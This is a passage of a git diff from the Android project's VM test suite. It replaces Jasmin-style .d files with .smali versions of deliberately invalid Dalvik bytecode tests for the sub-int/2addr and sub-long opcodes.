-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_2.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456.0
-       sub-int/2addr v2, v0
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali
new file mode 100644
index 0000000..05498c8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456.0
+       sub-int/2addr v2, v0
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.d
deleted file mode 100644
index cad0b89..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_3.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 123456675
-       sub-int/2addr v0, v2
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali
new file mode 100644
index 0000000..20e69e6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 123456675
+       sub-int/2addr v0, v2
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.d
deleted file mode 100644
index efce9cc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_4.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       sub-int/2addr v0, v2
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali
new file mode 100644
index 0000000..0e98c5d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v0, v2
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.d
deleted file mode 100644
index 77b2c6f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_5.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 3
-
-       sub-int/2addr v1, v2
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali
new file mode 100644
index 0000000..18b78b6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 3
+
+       sub-int/2addr v1, v2
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.d
deleted file mode 100644
index 1705eb7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_int_2addr_6.java
-.class public dot.junit.opcodes.sub_int_2addr.d.T_sub_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 3
-
-       sub-int/2addr v1, v3
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali
new file mode 100644
index 0000000..af58f87
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/sub_int_2addr/d/T_sub_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 3
+
+       sub-int/2addr v1, v3
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.d
deleted file mode 100644
index 4367232..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_1.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       sub-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali
new file mode 100644
index 0000000..1c360a4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_1.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_1.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.d
deleted file mode 100644
index 6e191ac..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 7
-       sub-long v0, v3, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali
new file mode 100644
index 0000000..dee39d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_2.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 7
+       sub-long v0, v3, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.d
deleted file mode 100644
index 5fe421f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_3.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       const v3, 12346
-       sub-long v0, v3, v5
-       return-wide v5
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali
new file mode 100644
index 0000000..d25f752a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_3.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_3.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       const v3, 12346
+       sub-long v0, v3, v5
+       return-wide v5
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d
deleted file mode 100644
index 7ab2d2d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_4.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       const v5, 12346.0
-       sub-long v0, v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.smali
new file mode 100644
index 0000000..1de3c0a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sub_long/d/T_sub_long_4;
+.super Ljava/lang/Object;
+.source "T_sub_long_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run(JJ)J
+    .registers 7
+
+    const p3, 0x4640e800    # 12346.0f
+
+    sub-long v0, p1, p3
+
+    return-wide p1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.d
deleted file mode 100644
index c498408..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_5.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       sub-long v0, v3, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali
new file mode 100644
index 0000000..6991b35
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_5.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.d
deleted file mode 100644
index f9f2065..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_6.java
-.class public dot.junit.opcodes.sub_long.d.T_sub_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-       sub-long v0, v3, v7
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali
new file mode 100644
index 0000000..28cabfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long/d/T_sub_long_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_6.java"
+.class  public Ldot/junit/opcodes/sub_long/d/T_sub_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+       sub-long v0, v3, v7
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.d
deleted file mode 100644
index f416a03..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sub_long_2addr_1.java
-.class public dot.junit.opcodes.sub_long_2addr.d.T_sub_long_2addr_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 7
-
-       sub-long/2addr v3, v5
-       return-wide v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali
new file mode 100644
index 0000000..0743e9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sub_long_2addr_1.java"
+.class  public Ldot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 7
+
+       sub-long/2addr v3, v5
+       return-wide v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.d
deleted file mode 100644
index eb91aff..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sub_long_2addr/d/T_sub_long_2addr_2.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
